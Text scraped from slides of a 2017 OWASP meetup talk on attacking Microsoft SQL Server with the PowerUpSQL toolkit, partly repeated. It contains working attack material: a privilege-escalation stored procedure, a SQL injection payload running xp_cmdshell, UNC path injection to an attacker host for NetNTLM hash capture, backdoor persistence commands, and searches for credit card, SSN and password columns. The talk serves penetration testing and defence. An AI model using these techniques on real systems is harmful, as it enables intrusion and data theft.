LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 48: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 49: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

